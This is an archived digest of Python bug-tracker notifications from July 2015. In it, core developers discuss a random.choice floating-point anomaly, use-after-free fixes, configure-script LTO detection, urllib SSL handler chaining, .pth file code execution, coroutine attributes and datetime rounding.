[issue24546] sequence index bug in random.choice

2015-07-02 Thread Serge Anuchin

Serge Anuchin added the comment:

 Which platform  Python is that?
Python 2.6.6 (r266:84292, Dec 26 2010, 22:31:48) [GCC 4.4.5] on linux2
Linux li307-195 2.6.39.1-x86_64-linode19 #1 SMP Tue Jun 21 10:04:20 EDT 2011 
x86_64 GNU/Linux

--

___
Python tracker rep...@bugs.python.org
http://bugs.python.org/issue24546
___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue24546] sequence index bug in random.choice

2015-07-02 Thread Raymond Hettinger

Changes by Raymond Hettinger raymond.hettin...@gmail.com:


--
assignee: rhettinger - 

___
Python tracker rep...@bugs.python.org
http://bugs.python.org/issue24546
___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue24407] Use after free in PyDict_merge

2015-07-02 Thread paul

paul added the comment:

ping

--

___
Python tracker rep...@bugs.python.org
http://bugs.python.org/issue24407
___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue24097] Use after free in PyObject_GetState

2015-07-02 Thread paul

paul added the comment:

ping

--

___
Python tracker rep...@bugs.python.org
http://bugs.python.org/issue24097
___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue24103] Use after free in xmlparser_setevents (1)

2015-07-02 Thread paul

paul added the comment:

ping

--

___
Python tracker rep...@bugs.python.org
http://bugs.python.org/issue24103
___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue24104] Use after free in xmlparser_setevents (2)

2015-07-02 Thread paul

paul added the comment:

ping

--

___
Python tracker rep...@bugs.python.org
http://bugs.python.org/issue24104
___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue24098] Multiple use after frees in obj2ast_* methods

2015-07-02 Thread paul

paul added the comment:

ping

--

___
Python tracker rep...@bugs.python.org
http://bugs.python.org/issue24098
___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue24097] Use after free in PyObject_GetState

2015-07-02 Thread Antoine Pitrou

Changes by Antoine Pitrou pit...@free.fr:


--
keywords: +patch
Added file: http://bugs.python.org/file39842/getstate_borrowed_ref.patch

___
Python tracker rep...@bugs.python.org
http://bugs.python.org/issue24097
___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue24097] Use after free in PyObject_GetState

2015-07-02 Thread Antoine Pitrou

Antoine Pitrou added the comment:

Thanks for the report. Here is a patch.

--

___
Python tracker rep...@bugs.python.org
http://bugs.python.org/issue24097
___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue24097] Use after free in PyObject_GetState

2015-07-02 Thread Antoine Pitrou

Changes by Antoine Pitrou pit...@free.fr:


--
stage: needs patch - patch review
versions: +Python 3.6

___
Python tracker rep...@bugs.python.org
http://bugs.python.org/issue24097
___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue24097] Use after free in PyObject_GetState

2015-07-02 Thread Serhiy Storchaka

Changes by Serhiy Storchaka storch...@gmail.com:


--
assignee:  - serhiy.storchaka

___
Python tracker rep...@bugs.python.org
http://bugs.python.org/issue24097
___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue24537] Py_Initialize unable to load the file system codec

2015-07-02 Thread Tim Golden

Tim Golden added the comment:

I'm not sure why you expect this to work: the Python C API relies on the 
presence of a Python installation to work. It's not, in itself, a means of 
bundling Python. I assume you must have at least had the python .dll present or 
the program wouldn't even have had the initialisation code to run.

Part of Python's startup code needs to load certain modules very early in order 
to, for example, bootstrap the import mechanism and filesystem support which 
needs encodings to be available to decode filenames etc.

If you're still unsure of what the issue is, can I suggest you take this to the 
Python mailing list:

https://mail.python.org/mailman/listinfo/python-list

where there is a much bigger audience of people available to help.

--
resolution:  - not a bug
stage:  - resolved
status: open - closed

___
Python tracker rep...@bugs.python.org
http://bugs.python.org/issue24537
___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue24546] sequence index bug in random.choice

2015-07-02 Thread Serhiy Storchaka

Changes by Serhiy Storchaka storch...@gmail.com:


--
nosy: +serhiy.storchaka

___
Python tracker rep...@bugs.python.org
http://bugs.python.org/issue24546
___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue24534] disable executing code in .pth files

2015-07-02 Thread Paul Moore

Paul Moore added the comment:

On 30 June 2015 at 23:30, M.-A. Lemburg m...@egenix.com wrote:
 I don't remember the details of why this feature was added,
 but can imagine that it was supposed to enable installation
 of new importers via .pth files.

I don't know for certain if this feature was already available when
importers were added, but there was certainly never any thought of
adding importers via .pth files when we designed them. We expected
importers to be added to sys.(meta_)path by explicit code run at
application startup, before the imports that needed it.

I'm glad to hear that setuptools is reconsidering its import priority
hacking. And I also have never seen any use of executable code in .pth
files that wasn't at best a dubious hack. But removing the feature (as
opposed to getting packages to stop misusing the feature) is too much
of a compatibility break.

It might be worth putting together a documentation patch that expands
what the docs say about the feature. Pointing out that it's easy to
misuse, and advising caution, might be a reasonable thing to do.
(Adding an example of a reasonable use of the feature would be even
better, but that would require thinking of a reasonable use!!! :-))

--
nosy: +paul.moore

___
Python tracker rep...@bugs.python.org
http://bugs.python.org/issue24534
___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue24543] Configure script wrongly detects x64/x87/mc68881 with -flto option passed

2015-07-02 Thread Stefan Krah

Stefan Krah added the comment:

Okay, I'll have a look then (I first assumed this was mc68881 specific).

--
nosy: +skrah

___
Python tracker rep...@bugs.python.org
http://bugs.python.org/issue24543
___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue24120] pathlib.(r)glob stops on PermissionDenied exception

2015-07-02 Thread Ulrich Petri

Ulrich Petri added the comment:

Antoine, thanks for the review. I didn't realise that `tree` outputs non-ASCII 
by default. I've updated the patch with a pure ASCII file tree.

Unfortunately I don't have a Windows dev environment available at the moment, 
so I can't easily test for that.

--
Added file: http://bugs.python.org/file39843/issue24120_2.diff

___
Python tracker rep...@bugs.python.org
http://bugs.python.org/issue24120
___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue24543] Configure script wrongly detects x64/x87/mc68881 with -flto option passed

2015-07-02 Thread marxin

marxin added the comment:

As I wrote, starting from GCC 4.9.0, the compiler does not emit any assembly 
with -flto and -c option. I would suggest to remove '-c' option that will force 
to create an executable.

--

___
Python tracker rep...@bugs.python.org
http://bugs.python.org/issue24543
___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue22126] mc68881 fpcr inline asm breaks clang -flto build

2015-07-02 Thread Stefan Krah

Changes by Stefan Krah ste...@bytereef.org:


--
resolution:  - duplicate
status: open - closed
superseder:  - Configure script wrongly detects x64/x87/mc68881 with -flto 
option passed

___
Python tracker rep...@bugs.python.org
http://bugs.python.org/issue22126
___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue24543] Configure script wrongly detects x64/x87/mc68881 with -flto option passed

2015-07-02 Thread Stefan Krah

Changes by Stefan Krah ste...@bytereef.org:


--
nosy: +ivank

___
Python tracker rep...@bugs.python.org
http://bugs.python.org/issue24543
___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue24543] Configure script wrongly detects x64/x87/mc68881 with -flto option passed

2015-07-02 Thread Stefan Krah

Stefan Krah added the comment:

In what way are the x64/x87 tests broken? ./configure runs smoothly
here (gcc 4.8.2) with and without -flto.

Can you try =m and m for the asm output operands?

--

___
Python tracker rep...@bugs.python.org
http://bugs.python.org/issue24543
___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue23517] datetime.utcfromtimestamp parses timestamps incorrectly

2015-07-02 Thread R. David Murray

R. David Murray added the comment:

Because this seems to be a regression, I'm marking this as a release blocker.  
The RM can decide is isn't, of course.

--
nosy: +larry
priority: normal - release blocker
versions: +Python 3.5, Python 3.6

___
Python tracker rep...@bugs.python.org
http://bugs.python.org/issue23517
___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue24546] sequence index bug in random.choice

2015-07-02 Thread Stefan Krah

Stefan Krah added the comment:

 Very surprising!  Which platform  Python is that?

I'm unable to reproduce this using Linux-amd64, Python 2.7.6, gcc 4.8.2.

--
nosy: +skrah

___
Python tracker rep...@bugs.python.org
http://bugs.python.org/issue24546
___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue24412] setUpClass equivalent for addCleanup

2015-07-02 Thread Vajrasky Kok

Vajrasky Kok added the comment:

Here is the patch.

--
keywords: +patch
nosy: +vajrasky
Added file: http://bugs.python.org/file39844/addCleanupClass.patch

___
Python tracker rep...@bugs.python.org
http://bugs.python.org/issue24412
___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue24120] pathlib.(r)glob stops on PermissionDenied exception

2015-07-02 Thread Antoine Pitrou

Antoine Pitrou added the comment:

Ok, thanks. The tests are running ok on my Windows VM.

--

___
Python tracker rep...@bugs.python.org
http://bugs.python.org/issue24120
___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue24546] sequence index bug in random.choice

2015-07-02 Thread Steven D'Aprano

Steven D'Aprano added the comment:

On Thu, Jul 02, 2015 at 04:05:45AM +, Tim Peters wrote:
 Very surprising!  Which platform  Python is that?

Python 2.7.2 (default, May 18 2012, 18:25:10)
[GCC 4.1.2 20080704 (Red Hat 4.1.2-52)] on linux2

I get the same result on Python 2.6 and 3.3, but *not* using Jython or 
IronPython. Both of those run to completion.

Don't you love floating point mysteries? I cannot imagine how confusing 
it was back in the dark ages pre-IEEE 754.

--

___
Python tracker rep...@bugs.python.org
http://bugs.python.org/issue24546
___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue24546] sequence index bug in random.choice

2015-07-02 Thread STINNER Victor

STINNER Victor added the comment:

 Your example of int(0.5) returning 1 is misleading

On my setup, this number is rounded 1.0:

 float('0.5').hex()
'0x1.0p+0'

CPU: Intel(R) Core(TM) i7-2600 CPU @ 3.40GHz
OS: Fedora release 22
Python 2.7.10 or 3.4.2 (same result for both versions)

--
nosy: +haypo

___
Python tracker rep...@bugs.python.org
http://bugs.python.org/issue24546
___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue24534] disable executing code in .pth files

2015-07-02 Thread Eric Snow

Eric Snow added the comment:

Note that the idea of replacing .pth files came up a couple years ago:

https://mail.python.org/pipermail/import-sig/2013-July/000645.html

That proposal didn't go anywhere basically because there were more important 
things to work on. :)

--

___
Python tracker rep...@bugs.python.org
http://bugs.python.org/issue24534
___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue24543] Configure script wrongly detects x64/x87/mc68881 with -flto option passed

2015-07-02 Thread Andreas Schwab

Andreas Schwab added the comment:

Please use AC_LINK_IFELSE.  No need for a runtime test that breaks cross 
compilation.

--

___
Python tracker rep...@bugs.python.org
http://bugs.python.org/issue24543
___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue24543] Configure script wrongly detects x64/x87/mc68881 with -flto option passed

2015-07-02 Thread Stefan Krah

Stefan Krah added the comment:

-c is apparently generated by AC_COMPILE_IFELSE, which uses ac_compile.

The alternative is using AC_RUN_IFELSE, which uses ac_link.


Do you see any other possibility of dropping the -c during ./configure?

--

___
Python tracker rep...@bugs.python.org
http://bugs.python.org/issue24543
___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue24546] sequence index bug in random.choice

2015-07-02 Thread Steven D'Aprano

Steven D'Aprano added the comment:

On Thu, Jul 02, 2015 at 05:35:53PM +, Tim Peters wrote:
 Steven, there's something wrong with the arithmetic on your machine, 
 but I can't guess what from here (perhaps you have a non-standard 
 rounding mode enabled, perhaps your CPU is broken, ...).

It's not just me. Others have confirmed the same behaviour, but only 
on 32-bit Linux:

https://mail.python.org/pipermail/python-list/2015-July/693481.html

Thread begins here:
https://mail.python.org/pipermail/python-list/2015-July/693457.html

 For a start, is it the multiplication that's broken on your machine, or the 
 int() part?

Looks like multiplication:

 x = 1.-2.**-53
 assert x.hex() == '0x1.fp-1'
 assert (2049.0).hex() == '0x1.00200p+11'
 (x*2049.0).hex()  # Should be '0x1.001ffp+11'
'0x1.00200p+11'

I'd like to see what result the OP gets if he runs this. Serge is using 
Linux, but if I'm reading it right, it looks like a 64-bit Linux.

--

___
Python tracker rep...@bugs.python.org
http://bugs.python.org/issue24546
___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue24325] Speedup types.coroutine()

2015-07-02 Thread Larry Hastings

Larry Hastings added the comment:

Oh, wait, I was confusing myself.  This is that new module you guys created for 
type hints, and this is a new object with no installed base.  (Right?)

Yeah, you can check it in for 3.5.

--

___
Python tracker rep...@bugs.python.org
http://bugs.python.org/issue24325
___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue18543] urllib.parse.urlopen shouldn't ignore installed opener when called with any ca* argument

2015-07-02 Thread David Ford (FirefighterBlu3)

David Ford (FirefighterBlu3) added the comment:

perhaps an HTTPSHandler() should only merged into the handler chain if an https 
URI is found and no existing handler is found that has an https_open() defined

--

___
Python tracker rep...@bugs.python.org
http://bugs.python.org/issue18543
___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue24097] Use after free in PyObject_GetState

2015-07-02 Thread Serhiy Storchaka

Serhiy Storchaka added the comment:

The fix LGTM.

It would be nice to add a test.

--
assignee: serhiy.storchaka - pitrou
stage: patch review - test needed

___
Python tracker rep...@bugs.python.org
http://bugs.python.org/issue24097
___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue24325] Speedup types.coroutine()

2015-07-02 Thread Yury Selivanov

Yury Selivanov added the comment:

 Oh, wait, I was confusing myself.  This is that new module you guys created 
 for type hints, and this is a new object with no installed base.  (Right?)

No, you were right in your previous comment...

 Help me to understand here.  You want to check in a patch adding 300 new 
 lines of C code to the types module during beta, for a speed optimization, 
 after we've already hit beta?

 While I like speedups as much as the next guy, I would be happier if this 
 waited for 3.6.

This speedup will mostly affect code compiled with Cython. See the following 
example:
  
  @asyncio.coroutine
  def coro():
 yield from ...

Cython will compile coro into a function, that returns a generator-like 
object.  asyncio.coroutine will wrap this function, and, therefore, the 
optimized by Cython generator-like object will be wrapped too (to provide an 
__await__ method).

This patch provides a faster wrapper for such generator-like objects. Since the 
whole point of using Cython is to squeeze as much performance as possible, I 
think it's essential to have this optimization in 3.5 (or at least in 3.5.1 as 
Guido suggested).

It's a lot of C code, I agree. I only can say that I did my best to write very 
extensive unittests, and so I hope that it won't cause any trouble.

--

___
Python tracker rep...@bugs.python.org
http://bugs.python.org/issue24325
___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue18543] urllib.parse.urlopen shouldn't ignore installed opener when called with any ca* argument

2015-07-02 Thread David Ford (FirefighterBlu3)

David Ford (FirefighterBlu3) added the comment:

Unfortunately more breakage exists within urllib.request. A context supplied to 
urlopen() is useless in the following pseudo code:

build_some_openers()
context = ssl.foo()
urlopen('foo.com', context=context)

test against foo.com -- foo.com ssl setup is munged with non-verify, out of 
date, or something that doesn't make happy with a default context

When urlopen() runs, it does indeed (with my earlier patch) add another 
HTTPSHandler(context). However, the default added HTTPSHandler is called first 
in the chain (see the bisect.insort) and will cause the urlopen attempt to fail 
if the SSL connection does not work with a default or void context.

The end-user specified context will never be reached whether they attempt to 
install their own HTTPSHandler or not since the default installed HTTPSHandler 
will raise an exception.

Therefore, I've attached another patch to urllib.request which ensures that (a) 
existing opener chain is not discarded and (b) a default opener chain is not 
made with an HTTPSHandler in it, only adding the HTTPSHandler at urlopen() time 
if 'https' is found in the URL.

--
Added file: 
http://bugs.python.org/file39847/urllib.request.py-do-not-overwrite-existing-opener.diff

___
Python tracker rep...@bugs.python.org
http://bugs.python.org/issue18543
___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue18543] urllib.parse.urlopen shouldn't ignore installed opener when called with any ca* argument

2015-07-02 Thread R. David Murray

R. David Murray added the comment:

See also issue 23166.

--

___
Python tracker rep...@bugs.python.org
http://bugs.python.org/issue18543
___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue24553] improve test coverage for subinterpreters

2015-07-02 Thread Eric Snow

New submission from Eric Snow:

We do very little testing of subinterpreters in CPython.  About all I'm aware 
of is in test_tracemalloc.  I'll be working on improving test coverage as a 
precursor to fixing some existing bugs.

--
components: Tests
messages: 246107
nosy: eric.snow, ncoghlan
priority: normal
severity: normal
stage: test needed
status: open
title: improve test coverage for subinterpreters
versions: Python 3.5, Python 3.6

___
Python tracker rep...@bugs.python.org
http://bugs.python.org/issue24553
___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue24450] Add cr_await calculated property to coroutine object

2015-07-02 Thread Larry Hastings

Larry Hastings added the comment:

I'll accept it for 3.5.  Can it go in for beta 3, tagged in 48 hours?

--

___
Python tracker rep...@bugs.python.org
http://bugs.python.org/issue24450
___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue24468] Expose C level compiler flag constants to Python code

2015-07-02 Thread Larry Hastings

Larry Hastings added the comment:

opcode.patch is okay for 3.5.

--

___
Python tracker rep...@bugs.python.org
http://bugs.python.org/issue24468
___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue24432] Upgrade windows builds to use OpenSSL 1.0.2b

2015-07-02 Thread Larry Hastings

Larry Hastings added the comment:

Steve?

--
assignee:  - steve.dower

___
Python tracker rep...@bugs.python.org
http://bugs.python.org/issue24432
___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue24546] sequence index bug in random.choice

2015-07-02 Thread Tim Peters

Tim Peters added the comment:

Thanks for the legwork, Steven!

So far it looks like a gcc bug when using -m32 (whether ints, longs and/or 
pointers are 4 or 8 bytes _should_ make no difference to anything in Jason 
Swails's C example).

But it may be a red herring anyway:  there's only one chance in 2**53 of 
getting a random.random() result equal to 1.-2.**-53 to begin with.

--

___
Python tracker rep...@bugs.python.org
http://bugs.python.org/issue24546
___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue19235] Add a dedicated subclass for recursion errors

2015-07-02 Thread Larry Hastings

Larry Hastings added the comment:

This is fine for 3.5.

--

___
Python tracker rep...@bugs.python.org
http://bugs.python.org/issue19235
___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue24450] Add cr_await calculated property to coroutine object

2015-07-02 Thread Yury Selivanov

Yury Selivanov added the comment:

Benno, thanks for coming up with the idea and for the patches. Larry, thanks 
for approving this for 3.5!

--
resolution:  - fixed
stage: patch review - resolved
status: open - closed
versions: +Python 3.6

___
Python tracker rep...@bugs.python.org
http://bugs.python.org/issue24450
___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue24450] Add cr_await calculated property to coroutine object

2015-07-02 Thread Roundup Robot

Roundup Robot added the comment:

New changeset 84eb9a020011 by Yury Selivanov in branch '3.5':
Issue #24450: Add gi_yieldfrom to generators; cr_await to coroutines.
https://hg.python.org/cpython/rev/84eb9a020011

New changeset f4058528ab8c by Yury Selivanov in branch 'default':
Merge 3.5 (Issue #24450)
https://hg.python.org/cpython/rev/f4058528ab8c

--
nosy: +python-dev

___
Python tracker rep...@bugs.python.org
http://bugs.python.org/issue24450
___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue18543] urllib.parse.urlopen shouldn't ignore installed opener when called with any ca* argument

2015-07-02 Thread David Ford (FirefighterBlu3)

David Ford (FirefighterBlu3) added the comment:

Third version of this patch and a short test suite specifically for this 
problem.

per awareness of :issue:`23166` I rewrote my patch to handle subclassed HTTPS 
handlers. There are also exceptions raised if an attempt to install more than 
one HTTPS handler is done. HTTPS does not play well with multiple handlers 
trying to process data and will immediately fail on a second attempt to 
negotiate a handshake on an established socket.

Additionally, if (a) an HTTPSHandler is already in the chain and (b) doesn't 
have an SSL context, then we create an appropriate context and attach it to the 
existing handler

--
Added file: 
http://bugs.python.org/file39848/urllib.request.py-do-not-overwrite-existing-opener.diff

___
Python tracker rep...@bugs.python.org
http://bugs.python.org/issue18543
___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue24432] Upgrade windows builds to use OpenSSL 1.0.2b

2015-07-02 Thread Zachary Ware

Zachary Ware added the comment:

Yes, you'll need Perl, NASM, and svn on PATH.

I tried to send you an email about this a week or two ago, did I not get it
sent or did it go awry?

--

___
Python tracker rep...@bugs.python.org
http://bugs.python.org/issue24432
___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue23166] urllib2 ignores opener configuration under certain circumstances

2015-07-02 Thread David Ford (FirefighterBlu3)

David Ford (FirefighterBlu3) added the comment:

I've made a patch for 3.4 that addresses this issue. See issue 18543, latest 
patch, and test file

--
nosy: +David Ford (FirefighterBlu3)

___
Python tracker rep...@bugs.python.org
http://bugs.python.org/issue23166
___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue24400] Awaitable ABC incompatible with functools.singledispatch

2015-07-02 Thread Yury Selivanov

Yury Selivanov added the comment:

Guido, Ben, Stefan, Nick,

I want to re-open this issue.  I'm still not satisfied with the current state 
of things, mainly with the __instancecheck__ hack for Awaitable  Coroutine 
ABCs (as Ben initially suggested).

I think we should remove the __instancecheck__ from the ABCs, and resurrect 
inspect.isawaitable() function:

1. abc.Coroutine and abc.Awaitable will guarantee that objects that implement 
them have '__await__' and it's safe to access it (that means that they will 
fail for generator-based coroutines).

2. inspect.isgenerator() can be used along with inspect.isawaitable() to detect 
generator-based coroutines (generators with CO_ITERABLE_COROUTINE flag).

--
resolution: fixed - 
status: closed - open

___
Python tracker rep...@bugs.python.org
http://bugs.python.org/issue24400
___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue23517] datetime.utcfromtimestamp parses timestamps incorrectly

2015-07-02 Thread STINNER Victor

STINNER Victor added the comment:

I'm concerned by this example:

 dt = datetime(2015, 2, 24, 22, 34, 28, 274000)
 dt - datetime.fromtimestamp(dt.timestamp())
datetime.timedelta(0, 0, 1)

I don't know yet if it should be fixed or not.

If we modify .fromtimestamp(), should we use the same rounding method in 
datetime constructor? And in datetime.now()/.utcnow()?

I would prefer to keep ROUND_DOWN for .now() and .utcnow() to avoid timestamps 
in the future. I care less for other methods.

What do you think of this plan?

---

Hum, I don't remember the whole story line of rounding timestamps in Python. 
Some raw data.

Include/pytime.h of Python 3.5+ has:

typedef enum {
/* Round towards minus infinity (-inf).
   For example, used to read a clock. */
_PyTime_ROUND_FLOOR=0,
/* Round towards infinity (+inf).
   For example, used for timeout to wait at least N seconds. */
_PyTime_ROUND_CEILING
} _PyTime_round_t;

Include/pytime.h of Python 3.4 had:

typedef enum {
/* Round towards zero. */
_PyTime_ROUND_DOWN=0,
/* Round away from zero. */
_PyTime_ROUND_UP
} _PyTime_round_t;

Include/pytime.h of Python 3.3 and older didn't have rounding.

C files using pytime.h rounding in Python 3.4 (grep -l _PyTime_ROUND */*.c):

Modules/_datetimemodule.c
Modules/posixmodule.c
Modules/selectmodule.c
Modules/signalmodule.c
Modules/_testcapimodule.c
Modules/timemodule.c
Python/pytime.c

It is used by 3 mores C files in Python 3.5:

Modules/socketmodule.c
Modules/_ssl.c
Modules/_threadmodule.c

NEAREST was never implemented in pytime.h.

If I recall correctly, there were inconsitencies between the Python and the C 
implementation of the datetime module. At least in Python 3.5, both 
implementations should be consistent (even if some people would prefer a 
different rounding method).

The private pytime API was rewritten in Python 3.5 to get nanosecond 
resolution. This API is only used by the datetime module to get the current 
time.

My rationale for ROUND_DOWN was to follow how UNIX rounds timestmaps. As 
Alexander wrote, UNIX doesn't like timestamps in the future, so rounding 
towards minus infinity avoids such issue. Rounding issues become more common on 
file timestamps with filesystems supporting microsecond resolution or event 
nanosecond resolution.

--

___
Python tracker rep...@bugs.python.org
http://bugs.python.org/issue23517
___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue6531] atexit_callfuncs() crashing within Py_Finalize() when using multiple interpreters.

2015-07-02 Thread Eric Snow

Changes by Eric Snow ericsnowcurren...@gmail.com:


--
versions: +Python 3.5, Python 3.6 -Python 3.2, Python 3.3

___
Python tracker rep...@bugs.python.org
http://bugs.python.org/issue6531
___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue10915] Make the PyGILState API compatible with multiple interpreters

2015-07-02 Thread Eric Snow

Changes by Eric Snow ericsnowcurren...@gmail.com:


--
nosy: +eric.snow
versions: +Python 3.5, Python 3.6 -Python 3.3

___
Python tracker rep...@bugs.python.org
http://bugs.python.org/issue10915
___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue15751] Support subinterpreters in the GIL state API

2015-07-02 Thread Eric Snow

Changes by Eric Snow ericsnowcurren...@gmail.com:


--
versions: +Python 3.6 -Python 3.4

___
Python tracker rep...@bugs.python.org
http://bugs.python.org/issue15751
___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue4202] Multiple interpreters and readline module hook functions.

2015-07-02 Thread Eric Snow

Changes by Eric Snow ericsnowcurren...@gmail.com:


--
nosy: +eric.snow
versions: +Python 3.5, Python 3.6 -Python 3.4

___
Python tracker rep...@bugs.python.org
http://bugs.python.org/issue4202
___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue24554] GC should happen when a subinterpreter is destroyed

2015-07-02 Thread Eric Snow

New submission from Eric Snow:

Per A. Jesse Jiryu Davis:

===
# mod.py
class C(object):
pass

class Pool(object):
def __del__(self):
print('del')
list()

C.pool = Pool()
===

===

int main()
{
Py_Initialize();
PyThreadState *tstate_enter = PyThreadState_Get();
PyThreadState *tstate = Py_NewInterpreter();

PyRun_SimpleString(import mod\n);
if (PyErr_Occurred()) {
PyErr_Print();
}
Py_EndInterpreter(tstate);
PyThreadState_Swap(tstate_enter);
printf(about to finalize\n);
Py_Finalize();
printf(done\n);

return 0;
}
===

See:
http://emptysqua.re/blog/a-normal-accident-in-python-and-mod-wsgi/
https://github.com/GrahamDumpleton/mod_wsgi/issues/43

--
components: Interpreter Core
messages: 246110
nosy: emptysquare, eric.snow, grahamd, ncoghlan
priority: normal
severity: normal
stage: test needed
status: open
title: GC should happen when a subinterpreter is destroyed
type: behavior
versions: Python 3.5, Python 3.6

___
Python tracker rep...@bugs.python.org
http://bugs.python.org/issue24554
___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue24492] using custom objects as modules: AttributeErrors new in 3.5

2015-07-02 Thread Larry Hastings

Larry Hastings added the comment:

This is
  a) marked as release blocker, and
  b) is assigned to nobody.
This is not tenable.

While I want this fixed, I'm not going to hold up beta 3 for it.

--
priority: release blocker - deferred blocker

___
Python tracker rep...@bugs.python.org
